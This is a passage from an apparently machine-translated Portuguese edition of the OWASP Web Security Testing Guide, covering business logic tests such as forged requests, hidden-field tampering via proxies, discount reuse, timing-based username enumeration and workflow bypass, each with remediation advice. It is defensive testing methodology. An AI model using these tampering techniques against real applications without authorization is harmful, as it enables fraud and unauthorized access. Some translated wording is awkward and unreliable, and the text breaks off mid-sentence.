ISO 18033-2:2015 – Cifras Assimétricas
ISO 18033-3:2015 - Cifras de bloco

351
4.10 Teste de lógica de negócios
4.10.0 Introdução à Lógica de Negócios
4.10.1 Testar validação de dados de lógica de negócios
4.10.2 Capacidade de teste para falsificar solicitações
4.10.3 Verificações de Integridade de Teste
4.10.4 Teste para Temporização do Processo
4.10.5 Limites do número de vezes que uma função pode ser usada
4.10.6 Teste para Contorno de Fluxos de Trabalho
4.10.7 Defesas de teste contra o uso indevido do aplicativo
4.10.8 Carregamento de teste de tipos de arquivo inesperados
4.10.9 Carregamento de teste de arquivos maliciosos

352
Introdução à Lógica de Negócios
Testar falhas de lógica de negócios em um aplicativo da Web dinâmico multifuncional requer pensar em métodos não convencionais. Se o
mecanismo de autenticação de um aplicativo for desenvolvido com a intenção de executar as etapas 1, 2 e 3 nessa ordem específica para
autenticar um usuário. O que acontece se o usuário for do passo 1 direto para o passo 3? Neste exemplo simplista, o aplicativo fornece acesso
falhando ao abrir; negar acesso ou apenas dar erro com uma mensagem 500?
Existem muitos exemplos que podem ser feitos, mas a única lição constante é “pensar fora da sabedoria convencional”.
Esse tipo de vulnerabilidade não pode ser detectado por um scanner de vulnerabilidade e depende das habilidades e criatividade do testador de
penetração. Além disso, esse tipo de vulnerabilidade é geralmente um dos mais difíceis de detectar e geralmente específico do aplicativo, mas,
ao mesmo tempo, geralmente um dos mais prejudiciais ao aplicativo, se explorado.
A classificação de falhas de lógica de negócios tem sido pouco estudada; embora a exploração de falhas de negócios frequentemente aconteça
em sistemas do mundo real, e muitos pesquisadores de vulnerabilidade aplicada as investiguem. O maior foco está em aplicações web. Há um
debate na comunidade sobre se esses problemas representam conceitos particularmente novos ou se são variações de princípios bem
conhecidos.
O teste de falhas de lógica de negócios é semelhante aos tipos de teste usados por testadores funcionais que se concentram em testes de
estado lógico ou finito. Esses tipos de testes exigem que os profissionais de segurança pensem um pouco diferente, desenvolvam casos de
abuso e uso indevido e usem muitas das técnicas de teste adotadas pelos testadores funcionais. A automação de casos de abuso de lógica de
negócios não é possível e continua sendo uma arte manual que depende das habilidades do testador e de seu conhecimento do processo de
negócios completo e de suas regras.
Limites e Restrições de Negócios

Considere as regras para a função de negócios fornecida pelo aplicativo. Existem limites ou restrições no comportamento das pessoas? Em
seguida, considere se o aplicativo impõe essas regras. Geralmente é muito fácil identificar os casos de teste e análise para verificar o aplicativo
se você estiver familiarizado com o negócio. Se você for um testador terceirizado, precisará usar seu bom senso e perguntar à empresa se
diferentes operações devem ser permitidas pelo aplicativo.
Às vezes, em aplicativos muito complexos, o testador não terá um entendimento completo de todos os aspectos do aplicativo inicialmente.
Nessas situações, é melhor que o cliente conduza o testador pelo aplicativo, para que ele possa entender melhor os limites e a funcionalidade
pretendida do aplicativo, antes do início do teste real.
Além disso, ter uma linha direta com os desenvolvedores (se possível) durante o teste ajudará muito, caso surja alguma dúvida sobre a
funcionalidade do aplicativo.
Desafios do teste de lógica

As ferramentas automatizadas acham difícil entender o contexto, portanto, cabe a uma pessoa realizar esses tipos de testes. Os dois exemplos
a seguir ilustrarão como entender a funcionalidade do aplicativo, as intenções do desenvolvedor e algumas idéias criativas "prontas para uso"
podem quebrar a lógica do aplicativo. O primeiro exemplo começa com uma manipulação de parâmetro simplista, enquanto o segundo é um
exemplo do mundo real de um processo de várias etapas que leva à subversão completa do aplicativo.
Exemplo 1:
Suponha que um site de comércio eletrônico permita que os usuários selecionem itens para compra, visualizem uma página de resumo e, em seguida, façam a venda.
E se um invasor pudesse voltar à página de resumo, mantendo a mesma sessão válida e injetar um custo menor para um item, concluir a
transação e, em seguida, fazer o check-out?
Exemplo 2:
353
Manter/bloquear recursos e impedir que outras pessoas comprem esses itens online pode resultar na compra de itens por um preço mais baixo. A contramedida para
esse problema é implementar timeouts e mecanismos para garantir que apenas o preço correto possa ser cobrado.
Exemplo 3:
E se um usuário pudesse iniciar uma transação vinculada à sua conta de clube/fidelidade e, depois que os pontos fossem adicionados à sua conta, cancelasse a
transação? Os pontos/créditos ainda serão aplicados em sua conta?
Ferramentas
Embora existam ferramentas para testar e verificar se os processos de negócios estão funcionando corretamente em situações válidas, essas ferramentas são
incapazes de detectar vulnerabilidades lógicas. Por exemplo, as ferramentas não têm meios de detectar se um usuário é capaz de contornar o fluxo do processo de
negócios por meio da edição de parâmetros, previsão de nomes de recursos ou escalonamento de privilégios para acessar recursos restritos, nem têm nenhum
mecanismo para ajudar os testadores humanos a suspeitar desse estado de romances.
A seguir estão alguns tipos de ferramentas comuns que podem ser úteis na identificação de problemas de lógica de negócios.
Ao instalar complementos, você deve sempre ser cuidadoso ao considerar as permissões solicitadas e os hábitos de uso do navegador.
Proxy de interceptação
Observar os blocos de solicitação e resposta do tráfego HTTP
Proxy de Ataque Zed OWASP

Burp Proxy
Plug-ins do navegador da Web
Para visualizar e modificar cabeçalhos HTTP/HTTPS, postar parâmetros e observar o DOM do navegador
Dados de adulteração para FF Quantum
Tamper Chrome (para Google Chrome)
Ferramentas de teste diversas
Barra de ferramentas do desenvolvedor da Web
A extensão do desenvolvedor da Web adiciona um botão da barra de ferramentas ao navegador com várias ferramentas de desenvolvedor da Web. Esta
é a porta oficial da extensão Web Developer para Firefox.
Criador de solicitações HTTP para Chrome
Criador de solicitações HTTP para Firefox
Request Maker é uma ferramenta para testes de penetração. Com ele você pode facilmente capturar requisições feitas por páginas web, adulterar URL,
cabeçalhos e dados POST e, claro, fazer novas requisições
Editor de cookies para Chrome
Editor de cookies para Firefox
Cookie Editor é um gerenciador de cookies. Você pode adicionar, excluir, editar, pesquisar, proteger e bloquear cookies
Referências
Artigos técnicos
O Sistema de Pontuação de Uso Indevido Comum (CMSS): Métricas para Vulnerabilidades de Uso Indevido de Recursos de Software - NISTIR 7864
Teste de estado finito de interfaces gráficas de usuário, Fevzi Belli
Princípios e métodos de teste de máquinas de estado finito - uma pesquisa, David Lee, Mihalis Yannakakis Problemas de segurança em
jogos online, Jianxin Jeff Yan e Hyun-Jin Choi Protegendo mundos virtuais contra ataques reais, Dr. Igor Muttik, McAfee
354
Sete falhas de lógica de negócios que colocam seu site em risco – Jeremiah Grossman Fundador e CTO, WhiteHat
Segurança
Rumo à detecção automatizada de vulnerabilidades lógicas em aplicativos da Web - Viktoria Felmetsger Ludovico Cavedon
Christopher Kruegel Giovanni Vigna
Relacionado ao OWASP
Como Prevenir Vulnerabilidades de Falhas de Negócio em Aplicações Web, Marco Morana
Sites Úteis
Abuso de Funcionalidade
Logíca de negócios
Falhas de lógica de negócios e jogos do Yahoo

CWE-840: Erros de lógica de negócios
Desafiando a Lógica: Teoria, Projeto e Implementação de Sistemas Complexos para Testar a Lógica de Aplicativos
Ciclo de vida de teste de software
livros
O Modelo de Decisão: Uma Estrutura de Lógica de Negócios Ligando Negócios e Tecnologia, por Barbara Von Halle, Larry
Goldberg, publicado pela CRC Press, ISBN1420082817 (2010)
355
Testar a validação de dados da lógica de negócios
EU IRIA
WSTG-BUSL-01
Resumo
O aplicativo deve garantir que apenas dados logicamente válidos possam ser inseridos no front-end, bem como diretamente no lado do
servidor de um aplicativo ou sistema. A verificação dos dados apenas localmente pode deixar os aplicativos vulneráveis a injeções de servidor
por meio de proxies ou transferências com outros sistemas. Isso é diferente de simplesmente executar a Análise de Valor de Limite (BVA),
pois é mais difícil e, na maioria dos casos, não pode ser simplesmente verificada no ponto de entrada, mas geralmente requer a verificação
de algum outro sistema.
Por exemplo: Um aplicativo pode solicitar seu número de seguro social. No BVA, o aplicativo deve verificar formatos e semântica (é o valor
de 9 dígitos, não negativo e nem todos 0's) para os dados inseridos, mas também há considerações lógicas. Os SSNs são agrupados e
categorizados. Esta pessoa está em um arquivo de morte? Eles são de uma determinada parte do país?
As vulnerabilidades relacionadas à validação de dados de negócios são únicas porque são específicas do aplicativo e diferentes das
vulnerabilidades relacionadas a solicitações de forjamento, pois estão mais preocupadas com dados lógicos em vez de simplesmente
interromper o fluxo de trabalho da lógica de negócios.
O front-end e o back-end do aplicativo devem verificar e validar se os dados que ele possui, está usando e está transmitindo são logicamente
válidos. Mesmo que o usuário forneça dados válidos para um aplicativo, a lógica de negócios pode fazer com que o aplicativo se comporte de
maneira diferente, dependendo dos dados ou das circunstâncias.
Exemplo 1
Suponha que você gerencie um site de comércio eletrônico multicamada que permite que os usuários façam pedidos de carpetes. O usuário
seleciona seu tapete, insere o tamanho, faz o pagamento e o aplicativo front-end verifica se todas as informações inseridas estão corretas e
válidas para informações de contato, tamanho, marca e cor do tapete. Mas, a lógica de negócios em segundo plano tem dois caminhos, se o
tapete estiver em estoque, ele é enviado diretamente do seu depósito, mas se estiver em falta no seu depósito, é feita uma chamada para o
sistema de um parceiro e se ele o tiver em -estoque, eles enviarão o pedido de seu depósito e serão reembolsados por eles. O que acontece
se um invasor conseguir continuar uma transação válida em estoque e enviá-la como esgotada para seu parceiro? O que acontece se um
invasor conseguir entrar no meio e enviar mensagens para o armazém parceiro solicitando tapete sem pagamento?
Exemplo 2
Muitos sistemas de cartão de crédito agora estão baixando os saldos das contas todas as noites para que os clientes possam verificar mais
rapidamente valores abaixo de um determinado valor. O inverso também é verdade. Se eu pagar meu cartão de crédito pela manhã, talvez
não consiga usar o crédito disponível à noite. Outro exemplo pode ser se eu usar meu cartão de crédito em vários locais muito rapidamente,
pode ser possível exceder meu limite se os sistemas estiverem baseando as decisões nos dados da noite passada.
Exemplo 3
Negação Distribuída do Dólar (DDo$): Esta foi uma campanha que foi proposta pelo fundador do site “The Pirate Bay” contra o escritório de
advocacia que processou o “The Pirate Bay”. O objetivo era aproveitar os erros no desenho das funcionalidades do negócio e no processo de
validação da transferência de crédito.
Esse ataque foi realizado enviando quantias muito pequenas de dinheiro de 1 SEK (US$ 0,13) para o escritório de advocacia. A conta bancária
para a qual os pagamentos foram direcionados tinha apenas 1000 transferências gratuitas, após o que quaisquer transferências têm um custo
adicional para o titular da conta (2 SEK). Após as primeiras mil transações na Internet, cada doação de 1 SEK para o escritório de advocacia
acabará custando 1 SEK.
Machine
356
Objetivos do teste
Identificar pontos de injeção de dados.
Valide se todas as verificações estão ocorrendo no back-end e não podem ser ignoradas.
Tente quebrar o formato dos dados esperados e analise como o aplicativo está lidando com eles.
Como testar
Método de teste genérico

Revise a documentação do projeto e use testes exploratórios procurando pontos de entrada de dados ou pontos de transferência entre sistemas ou software.
Uma vez encontrado, tente inserir dados logicamente inválidos no aplicativo/sistema. Método de teste específico:
Realize o teste válido funcional da interface gráfica do usuário no aplicativo para garantir que os únicos valores “válidos” sejam aceitos.
Utilizando um proxy interceptador observe o HTTP POST/GET procurando por locais que variáveis como custo e qualidade sejam passadas.
Especificamente, procure por “transferências” entre aplicativos/sistemas que possam ser possíveis pontos de injeção ou adulteração.
Depois que as variáveis são encontradas, comece a interrogar o campo com dados logicamente “inválidos”, como números de previdência social ou
identificadores exclusivos que não existem ou que não se encaixam na lógica de negócios. Este teste verifica se o servidor funciona corretamente e não
aceita dados logicamente inválidos.
Casos de teste relacionados
Todos os casos de teste de validação de entrada .
Teste para enumeração de contas e conta de usuário que pode ser adivinhada.
Teste para Ignorar o Esquema de Gerenciamento de Sessão.
Teste para variáveis de sessão expostas.
Remediação
O aplicativo/sistema deve garantir que apenas dados “logicamente válidos” sejam aceitos em todos os pontos de entrada e entrega do aplicativo ou sistema e
que os dados não sejam simplesmente confiáveis depois de terem entrado no sistema.
Ferramentas
Suíte Burp
Referências
Controles proativos OWASP (C5) - validar todas as entradas
Série de dicas OWASP - Input_Validation_Cheat_Sheet

357
Capacidade de teste para falsificar solicitações
EU IRIA
WSTG-BUSL-02
Resumo
Forjar solicitações é um método que os invasores usam para contornar o aplicativo GUI de front-end para enviar informações diretamente para
o processamento de back-end. O objetivo do invasor é enviar solicitações HTTP POST/GET por meio de um proxy de interceptação com
valores de dados que não são suportados, protegidos ou esperados pela lógica de negócios dos aplicativos. Alguns exemplos de solicitações
forjadas incluem a exploração de parâmetros adivinhíveis ou previsíveis ou a exposição de recursos e funcionalidades “ocultos”, como habilitar
a depuração ou apresentar telas ou janelas especiais que são muito úteis durante o desenvolvimento, mas podem vazar informações ou ignorar
a lógica de negócios.
As vulnerabilidades relacionadas à capacidade de falsificar solicitações são exclusivas para cada aplicativo e diferentes da validação de dados
da lógica de negócios, pois seu foco é quebrar o fluxo de trabalho da lógica de negócios.
Os aplicativos devem ter verificações lógicas para impedir que o sistema aceite solicitações forjadas que possam permitir que invasores
explorem a lógica, o processo ou o fluxo de negócios do aplicativo. A falsificação de solicitação não é novidade; o invasor usa um proxy de
interceptação para enviar solicitações HTTP POST/GET ao aplicativo. Por meio de falsificações de solicitação, os invasores podem contornar
a lógica ou o processo de negócios localizando, prevendo e manipulando parâmetros para fazer o aplicativo pensar que um processo ou tarefa
ocorreu ou não.
Além disso, as solicitações forjadas podem permitir a subvenção do fluxo lógico programático ou de negócios invocando recursos ou
funcionalidades “ocultas”, como a depuração inicialmente usada por desenvolvedores e testadores, às vezes chamada de “ovo de páscoa”.
“Um ovo de Páscoa é uma piada interna intencional, mensagem oculta ou recurso em um trabalho como um programa de computador, filme,
livro ou palavras cruzadas. De acordo com o designer de jogos Warren Robinett, o termo foi cunhado na Atari pelo pessoal que foi alertado
sobre a presença de uma mensagem secreta que havia sido escondida por Robinett em seu jogo já amplamente distribuído, Adventure. Dizem
que o nome evoca a ideia de uma tradicional caça aos ovos de Páscoa.
Exemplo 1
Suponha que um site de teatro de comércio eletrônico permita que os usuários selecionem seu ingresso, apliquem um desconto único de 10%
para idosos em toda a venda, visualizem o subtotal e ofereçam a venda. Se um invasor conseguir ver por meio de um proxy que o aplicativo
possui um campo oculto (de 1 ou 0) usado pela lógica de negócios para determinar se um desconto foi obtido ou não. O invasor pode enviar o
valor 1 ou “nenhum desconto foi obtido” várias vezes para aproveitar o mesmo desconto várias vezes.
Exemplo 2
Suponha que um videogame online pague tokens por pontos marcados para encontrar tesouros piratas e piratas e para cada nível concluído.
Esses tokens podem ser posteriormente trocados por prêmios. Além disso, os pontos de cada nível têm um valor multiplicador igual ao nível.
Se um invasor conseguir ver por meio de um proxy que o aplicativo possui um campo oculto usado durante o desenvolvimento e o teste para
chegar rapidamente aos níveis mais altos do jogo, ele poderá chegar rapidamente aos níveis mais altos e acumular pontos não ganhos
rapidamente.
Além disso, se um invasor conseguir ver por meio de um proxy que o aplicativo possui um campo oculto usado durante o desenvolvimento e o
teste para habilitar um log que indica onde outros jogadores online ou tesouros ocultos estão em relação ao invasor, eles poderão para ir
rapidamente a esses locais e marcar pontos.
Objetivos do teste
Revise a documentação do projeto em busca de funcionalidades adivinhíveis, previsíveis ou ocultas dos campos.
358
Insira dados logicamente válidos para ignorar o fluxo de trabalho normal da lógica de negócios.
Como testar
Através da Identificação de Valores Adivinhados
Usando um proxy de interceptação, observe o HTTP POST/GET procurando por alguma indicação de que os valores estão aumentando em um
intervalo regular ou são fáceis de adivinhar.
Se for descoberto que algum valor pode ser adivinhado, esse valor pode ser alterado e pode-se obter uma visibilidade inesperada.
Através da identificação de opções ocultas
Usando um proxy de interceptação, observe o HTTP POST/GET procurando alguma indicação de recursos ocultos, como depuração, que podem
ser ativados ou ativados.
Se algum for encontrado, tente adivinhar e alterar esses valores para obter uma resposta ou comportamento diferente do aplicativo.

Teste para variáveis de sessão expostas
Teste para falsificação de solicitação entre sites (CSRF)
Teste para enumeração de contas e conta de usuário adivinhável
Remediação
O aplicativo deve ser inteligente o suficiente e projetado com lógica de negócios que impedirá que invasores prevejam e manipulem parâmetros para
subverter o fluxo programático ou de lógica de negócios ou explorar funcionalidades ocultas/não documentadas, como depuração.
Ferramentas

Suíte Burp
Referências
Falsificação de solicitação entre sites - legitimando solicitações forjadas
Ovos de pascoa
Os 10 principais ovos de Páscoa de software

359
Testar verificações de integridade
EU IRIA
WSTG-BUSL-03
Resumo
Muitos aplicativos são projetados para exibir campos diferentes, dependendo da situação do usuário, deixando algumas entradas ocultas. No entanto,
em muitos casos, é possível enviar valores de campos ocultos para o servidor usando um proxy. Nesses casos, os controles do lado do servidor devem
ser inteligentes o suficiente para executar edições relacionais ou do lado do servidor para garantir que os dados adequados sejam permitidos ao servidor
com base na lógica de negócios específica do usuário e do aplicativo.
Além disso, o aplicativo não deve depender de controles não editáveis, menus suspensos ou campos ocultos para processamento de lógica de negócios
porque esses campos permanecem não editáveis apenas no contexto dos navegadores. Os usuários podem editar seus valores usando ferramentas de
editor de proxy e tentar manipular a lógica de negócios. Se o aplicativo expõe valores relacionados a regras de negócios como quantidade, etc. como
campos não editáveis, ele deve manter uma cópia no lado do servidor e usar o mesmo para processamento de lógica de negócios. Por fim, além dos
dados do aplicativo/sistema, os sistemas de log devem ser protegidos para evitar leitura, gravação e atualização.
As vulnerabilidades de verificação de integridade da lógica de negócios são únicas, pois esses casos de uso indevido são específicos do aplicativo e,
se os usuários puderem fazer alterações, eles só poderão escrever ou atualizar/editar artefatos específicos em momentos específicos de acordo com a
lógica do processo de negócios.
O aplicativo deve ser inteligente o suficiente para verificar edições relacionais e não permitir que os usuários enviem informações inválidas diretamente
para o servidor, confiáveis porque vieram de controles não editáveis ou o usuário não está autorizado a enviar pelo front-end. Além disso, os artefatos
do sistema, como logs, devem ser “protegidos” contra leitura, gravação e remoção não autorizadas.
Exemplo 1
Imagine um aplicativo GUI de aplicativo ASP.NET que permite apenas que o usuário administrador altere a senha de outros usuários no sistema. O
usuário administrador verá os campos de nome de usuário e senha para inserir um nome de usuário e senha, enquanto outros usuários não verão
nenhum dos campos. No entanto, se um usuário não administrador enviar informações no campo de nome de usuário e senha por meio de um proxy,
ele poderá “enganar” o servidor fazendo-o acreditar que a solicitação veio de um usuário administrador e alterar a senha de outros usuários.
Exemplo 2 A
maioria dos aplicativos da Web possui listas suspensas que facilitam ao usuário selecionar rapidamente seu estado, mês de nascimento etc.
Suponha que um aplicativo de gerenciamento de projetos permita que os usuários façam login e, dependendo de seus privilégios, apresente uma lista
suspensa de projetos aos quais eles têm acesso. O que acontece se um invasor encontrar o nome de outro projeto ao qual não deveria ter acesso e
enviar as informações por meio de um proxy. O aplicativo dará acesso ao projeto?
Eles não devem ter acesso, mesmo que tenham ignorado uma verificação de lógica de negócios de autorização.
Exemplo 3
Suponha que o sistema de administração de veículos motorizados exija que um funcionário verifique inicialmente a documentação e as informações de
cada cidadão quando eles emitem uma identificação ou carteira de motorista. Neste ponto, o processo de negócios criou dados com alto nível de
integridade, pois a integridade dos dados enviados é verificada pelo aplicativo. Agora, suponha que o aplicativo seja movido para a Internet para que os
funcionários possam fazer logon para um serviço completo ou os cidadãos possam fazer logon para um aplicativo de autoatendimento reduzido para
atualizar determinadas informações. Nesse ponto, um invasor pode usar um proxy de interceptação para adicionar ou atualizar dados aos quais não
deveria ter acesso e pode destruir a integridade dos dados afirmando que o cidadão não era casado, mas fornecendo dados para o nome do cônjuge.
Esse tipo de inserção ou atualização de dados não verificados destrói a integridade dos dados e poderia ter sido evitado se a lógica do processo de
negócios fosse seguida.
360
Exemplo 4
Muitos sistemas incluem registro para fins de auditoria e solução de problemas. Mas, quão boas/válidas são as informações
nesses logs? Eles podem ser manipulados por invasores intencionalmente ou acidentalmente tendo sua integridade destruída?
Objetivos do teste
Revise a documentação do projeto para os componentes do sistema que movem, armazenam ou manipulam dados.
Determine que tipo de dados é logicamente aceitável pelo componente e contra quais tipos o sistema deve se proteger.
Determine quem deve ter permissão para modificar ou ler esses dados em cada componente.
Tente inserir, atualizar ou excluir valores de dados usados por cada componente que não devem ser permitidos pelo fluxo de trabalho da lógica de
negócios.
Como testar
Método de teste específico 1

Usando um proxy, capture o tráfego HTTP procurando por campos ocultos.
Se um campo oculto for encontrado, veja como esses campos se comparam com o aplicativo GUI e comece a interrogar esse valor por meio do proxy,
enviando diferentes valores de dados, tentando contornar o processo de negócios e manipular valores aos quais você não deveria ter acesso.

Usando um proxy, capture o tráfego HTTP procurando um local para inserir informações em áreas do aplicativo que não são editáveis.
Se for encontrado, veja como esses campos se comparam com o aplicativo GUI e comece a interrogar esse valor por meio do proxy, enviando
diferentes valores de dados, tentando contornar o processo de negócios e manipular os valores que você
não se destinava a ter acesso.

Liste os componentes do aplicativo ou sistema que podem ser afetados, por exemplo, logs ou bancos de dados.
Para cada componente identificado, tente ler, editar ou remover suas informações. Por exemplo, os arquivos de log devem ser identificados e os
testadores devem tentar manipular os dados/informações que estão sendo coletados.
Todos os casos de teste de validação de entrada .
Remediação
O aplicativo deve seguir controles de acesso rígidos sobre como dados e artefatos podem ser modificados e lidos e por meio de canais confiáveis que
garantam a integridade dos dados. O registro adequado deve ser definido para revisar e garantir que nenhum acesso ou modificação não autorizado esteja
acontecendo.
Ferramentas
Várias ferramentas de sistema/aplicativo, como editores e ferramentas de manipulação de arquivos.
Suíte Burp
Referências
Implementando Integridade Referencial e Lógica de Negócios Compartilhada em um RDB
Sobre regras e restrições de integridade em sistemas de banco de dados
Use a integridade referencial para impor regras de negócios básicas no Oracle
Maximizando a reutilização da lógica de negócios com a lógica reativa

361
Registro de evidência de adulteração

362
Teste para temporização do processo
EU IRIA
WSTG-BUSL-04
Resumo
É possível que os invasores possam coletar informações sobre um aplicativo monitorando o tempo que leva para concluir uma tarefa ou dar uma
resposta. Além disso, os invasores podem manipular e interromper os fluxos de processos de negócios projetados simplesmente mantendo as
sessões ativas abertas e não enviando suas transações no prazo “esperado”.
As vulnerabilidades da lógica de sincronização do processo são únicas, pois esses casos de uso indevido manual devem ser criados considerando
a execução e o tempo da transação que são específicos do aplicativo/sistema.
O tempo de processamento pode fornecer/vazar informações sobre o que está sendo feito nos processos de segundo plano do aplicativo/
sistema. Se um aplicativo permitir que os usuários adivinhem qual será o próximo resultado específico processando variações de tempo, os
usuários poderão ajustar de acordo e mudar o comportamento com base na expectativa e “jogar com o sistema”.
Exemplo 1
Os jogos de vídeo/caça-níqueis podem levar mais tempo para processar uma transação antes de um grande pagamento. Isso permitiria que
jogadores astutos jogassem quantias mínimas até verem o longo tempo de processo que os levaria a apostar o máximo.
Exemplo 2
Muitos processos de logon do sistema solicitam o nome de usuário e a senha. Se você observar atentamente, poderá ver que inserir um nome
de usuário inválido e uma senha de usuário inválida leva mais tempo para retornar um erro do que inserir um nome de usuário válido e uma
senha de usuário inválida. Isso pode permitir que o invasor saiba se possui um nome de usuário válido e não precisa confiar na mensagem da
GUI.
363
Figura 4.10.4-1: Exemplo de Fluxo de Controle do Formulário de Login
Exemplo 3 A
maioria das Arenas ou agências de viagens possuem aplicativos de bilhética que permitem aos usuários comprar ingressos e reservar assentos.
Quando o usuário solicita, os assentos dos ingressos são bloqueados ou reservados com pagamento pendente. E se um invasor continuar reservando
assentos, mas não fizer check-out? Os assentos serão liberados ou não haverá venda de ingressos? Alguns fornecedores de ingressos agora permitem
aos usuários apenas 5 minutos para concluir uma transação ou a transação é invalidada.
Exemplo 4
Suponha que um site de comércio eletrônico de metais preciosos permita que os usuários façam compras com uma cotação de preço com
base no preço de mercado no momento do logon. E se um invasor fizer logon e fizer um pedido, mas não concluir a transação até o final do
dia, apenas quando o preço dos metais subir? O invasor obterá o preço inicial mais baixo?
Objetivos do teste
Revise a documentação do projeto para a funcionalidade do sistema que pode ser afetada pelo tempo.
Desenvolver e executar casos de uso indevido.
Como testar
364
O testador deve identificar quais processos são dependentes do tempo, se foi uma janela para uma tarefa ser concluída ou se foi um tempo de
execução entre dois processos que poderia permitir o bypass de determinados controles.
Depois disso, é melhor automatizar as solicitações que abusarão dos processos descobertos acima, pois as ferramentas são mais adequadas
para analisar o tempo e são mais precisas do que o teste manual. Se isso não for possível, o teste manual ainda pode ser usado.
O testador deve desenhar um diagrama de como o processo flui, os pontos de injeção e preparar as solicitações com antecedência para lançá-las
nos processos vulneráveis. Uma vez feito isso, uma análise detalhada deve ser feita para identificar diferenças na execução do processo e se o
processo está se comportando mal em relação à lógica de negócios acordada.
Testando atributos de cookies

Tempo Limite da Sessão de Teste
Remediação
Desenvolva aplicativos com o tempo de processamento em mente. Se os invasores puderem obter algum tipo de vantagem ao conhecer os
diferentes tempos de processamento e resultados, adicione etapas ou processamento extras para que, independentemente dos resultados, eles
sejam fornecidos no mesmo período de tempo.
Além disso, o aplicativo/sistema deve ter um mecanismo para não permitir que os invasores estendam as transações por um período de tempo
“aceitável”. Isso pode ser feito cancelando ou redefinindo as transações após um determinado período de tempo, como alguns vendedores de
ingressos estão usando agora.
365
Teste o número de vezes que uma função pode ser usada limites
EU IRIA
WSTG-BUSL-05
Resumo
Muitos dos problemas que os aplicativos estão resolvendo exigem limites para o número de vezes que uma função pode ser usada ou uma ação pode ser
executada. Os aplicativos devem ser “inteligentes o suficiente” para não permitir que o usuário ultrapasse seu limite de uso dessas funções, pois em muitos
casos cada vez que a função é usada o usuário pode obter algum tipo de benefício que deve ser contabilizado para compensar adequadamente o proprietário .
Por exemplo: um site de comércio eletrônico pode permitir que os usuários apliquem um desconto apenas uma vez por transação, ou alguns aplicativos podem
estar em um plano de assinatura e permitir que os usuários baixem apenas três documentos completos mensalmente.
As vulnerabilidades relacionadas ao teste dos limites de função são específicas do aplicativo e devem ser criados casos de uso indevido que se esforcem para
exercer partes do aplicativo/funções/ou ações mais do que o número permitido de vezes.
Os invasores podem contornar a lógica de negócios e executar uma função mais vezes do que o "permitido", explorando o aplicativo para ganho pessoal.
Exemplo
Suponha que um site de comércio eletrônico permita que os usuários aproveitem qualquer um dos muitos descontos em sua compra total e, em seguida,
prossigam para o checkout e a licitação. O que acontece se o invasor navegar de volta para a página de descontos depois de obter e aplicar o desconto
“permitido”? Eles podem aproveitar outro desconto? Eles podem aproveitar o mesmo desconto várias vezes?
Objetivos do teste
Identifique as funções que devem definir limites para as vezes que podem ser chamadas.
Avalie se há um limite lógico definido nas funções e se ele está devidamente validado.
Como testar
Revise a documentação do projeto e use o teste exploratório procurando funções ou recursos no aplicativo ou sistema que não devem ser executados
mais do que uma única vez ou um número especificado de vezes durante o fluxo de trabalho da lógica de negócios.
Para cada uma das funções e recursos encontrados que devem ser executados apenas uma vez ou um número especificado de vezes durante o fluxo
de trabalho da lógica de negócios, desenvolva casos de abuso/uso indevido que possam permitir que um usuário execute mais do que o número
permitido de vezes. Por exemplo, um usuário pode navegar para frente e para trás pelas páginas várias vezes executando uma função que deve ser
executada apenas uma vez? ou um usuário pode carregar e descarregar carrinhos de compras permitindo
descontos adicionais.

Teste para enumeração de contas e conta de usuário adivinhável
Teste para mecanismo de bloqueio fraco
Remediação
O aplicativo deve definir controles rígidos para evitar abuso de limite. Isso pode ser obtido definindo um cupom para não ser mais válido no nível do banco de
dados, para definir um limite de contador por usuário no back-end ou no nível do banco de dados, pois todos os usuários devem ser identificados por meio de
uma sessão, o que for melhor para o requisito de negócios .
366
Referências
A lógica de negócios do InfoPath Forms Services excedeu o limite máximo de operações Regra
Negociação de ouro foi temporariamente interrompida no CME esta manhã
Machine
367
Teste para contornar fluxos de trabalho
EU IRIA
WSTG-BUSL-06
Resumo
As vulnerabilidades do fluxo de trabalho envolvem qualquer tipo de vulnerabilidade que permite ao invasor fazer uso indevido de um aplicativo/sistema de
forma a permitir que ele contorne (não siga) o fluxo de trabalho projetado/intencionado.
Definição de um fluxo de trabalho na Wikipédia:
Um fluxo de trabalho consiste em uma sequência de etapas conectadas em que cada etapa segue sem demora ou intervalo e termina antes que a
etapa subsequente possa começar. É uma representação de uma sequência de operações, declarada como trabalho de uma pessoa ou grupo,
uma organização de pessoal ou um ou mais mecanismos simples ou complexos. O fluxo de trabalho pode ser visto como qualquer abstração do
trabalho real.
A lógica de negócios do aplicativo deve exigir que o usuário conclua etapas específicas na ordem correta/específica e, se o fluxo de trabalho for encerrado
sem a conclusão correta, todas as ações e ações geradas serão "revertidas" ou canceladas.
Vulnerabilidades relacionadas ao desvio de fluxos de trabalho ou ao desvio do fluxo de trabalho correto da lógica de negócios são únicas, pois são muito
específicas do aplicativo/sistema e casos de uso manual cuidadosos devem ser desenvolvidos usando requisitos e casos de uso.
O processo de negócios dos aplicativos deve ter verificações para garantir que as transações/ações do usuário estejam ocorrendo na ordem correta/
aceitável e se uma transação acionar algum tipo de ação, essa ação será “revertida” e removida se a transação não for concluída com êxito .
Exemplo 1
Muitos de nós recebemos esse tipo de “pontos de clube/fidelidade” para compras em supermercados e postos de gasolina. Suponha que um usuário
possa iniciar uma transação vinculada à sua conta e, depois que os pontos forem adicionados à sua conta do clube/fidelidade, cancele a transação ou
remova itens de sua “cesta” e oferta. Nesse caso, o sistema não deve aplicar pontos/créditos à conta até que ela seja paga ou os pontos/créditos devem
ser “revertidos” se o incremento de pontos/créditos não corresponder ao lance final. Com isso em mente, um invasor pode iniciar transações e cancelá-
las para aumentar seus níveis de pontos sem realmente comprar nada.
Exemplo 2
Um sistema de boletim eletrônico pode ser projetado para garantir que as postagens iniciais não contenham palavrões com base em uma lista com a qual
a postagem é comparada. Se uma palavra em uma lista de negação for encontrada no texto digitado pelo usuário, o envio não será publicado.
Mas, uma vez que um envio é postado, o remetente pode acessar, editar e alterar o conteúdo do envio para incluir palavras incluídas na lista de palavrões/
negações, pois na edição a postagem nunca é comparada novamente. Tendo isso em mente, os invasores podem abrir uma discussão inicial em branco
ou mínima e adicionar o que quiserem como uma atualização.
Objetivos do teste
Revise a documentação do projeto para métodos para pular ou passar por etapas no processo de aplicativo em uma ordem diferente do fluxo de
lógica de negócios pretendido.
Desenvolva um caso de uso indevido e tente contornar todos os fluxos lógicos identificados.
Como testar
Método de teste 1
Inicia uma transação passando pelo aplicativo passando pelos pontos que aciona créditos/pontos na conta do usuário.
368
Cancele a transação ou reduza o lance final para que os valores dos pontos sejam reduzidos e verifique o sistema de pontos/créditos para garantir que os pontos/créditos
